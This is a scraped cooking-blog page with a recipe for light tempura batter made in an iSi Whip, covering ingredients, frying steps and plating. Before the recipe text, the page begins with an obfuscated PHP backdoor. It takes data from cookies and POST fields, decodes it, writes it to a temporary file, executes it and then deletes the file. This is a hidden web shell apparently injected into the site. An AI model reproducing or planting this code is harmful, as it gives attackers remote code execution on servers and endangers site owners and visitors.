$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();} Ultra-light Tempura with iSi Whip | Molecular Recipes
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10Nov/13

Ultra-light Tempura with iSi Whip

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The iSi Whip isn’t just for whipped cream or foams; it’s also a great way to make airy batters as you’re going to experience with this recipe. After making tempura using the iSi, you’ll never go back to using a whisk again.

The great thing about this method is that the batter can sit for a bit without rising too much and going bad so your waste is reduced and your efficiency is increased because you can make a larger batch at once. This is a nice, light tempura that you can use for a variety of foods.

 

 

isi-whip-light-tempura

Ingredients

This recipe yields enough product for a 0.5 L (~17 fl. oz) iSi Whip. Double the ingredients if you’re using a 1 L (~34 fl. oz.) iSi Whip and screw on 2 iSi cream chargers one after the other. Shake vigorously after attaching each charger. Halve the ingredients if you’re using a 0.25 L (~8.5 fl. oz.) iSi Whip.

Tempura Ingredients

- 125g (4.41 oz.) all-purpose flour

- 125g (4.41 oz.) rice flour

- 125ml (4.23 fl. oz.) beer

- 125ml (4.23. fl. oz.) soda water

- 3g (0.1 fl. oz.) honey

- 3g (0.46 oz.) salt

Other Ingredients

- 16 jumbo shrimp

- 16 sticks of asparagus

- Any other vegetables such as mushrooms that you would like to add to the dish.

- 1 lemon wedge per plate

isi-whip-tempura-batter

Preparation

1 - Stir all ingredients together to form a smooth batter.

2 - Pass through the iSi funnel & sieve directly into the 0.5 L (~17 fl. oz.) iSi Whip.

3 - Screw on 1 iSi N2O cream charges and shake vigorously. If using a 1L iSi Whip, add another charge.

4 - Let the batter to rest for approx. 10 minutes before using.

5 - Rinse and peel the shrimp, then devein by cutting an incision down the body.

6  - Heat oil to 190 °C (374 °F) in a pot or deep fryer

7 - Toss peeled white and green asparagus, the cleaned shrimp and any other desired vegetables in flour.

8 - Put the asparagus and shrimp into a bowl.

9 - Expel the batter from the iSi Whip on top, and stir to coat.

10 - Fry the asparagus and shrimp in the oil until golden.

11 – Remove from oil and place on a paper towel to soak up any excess grease and sprinkle immediately with sea salt.

12 - Serve while still warm.

Assembly

Plate 3-5 shrimp along with equitable portions of veggies and a lemon wedge on a serving plate. Garnish with the green of your choice and serve immediately.

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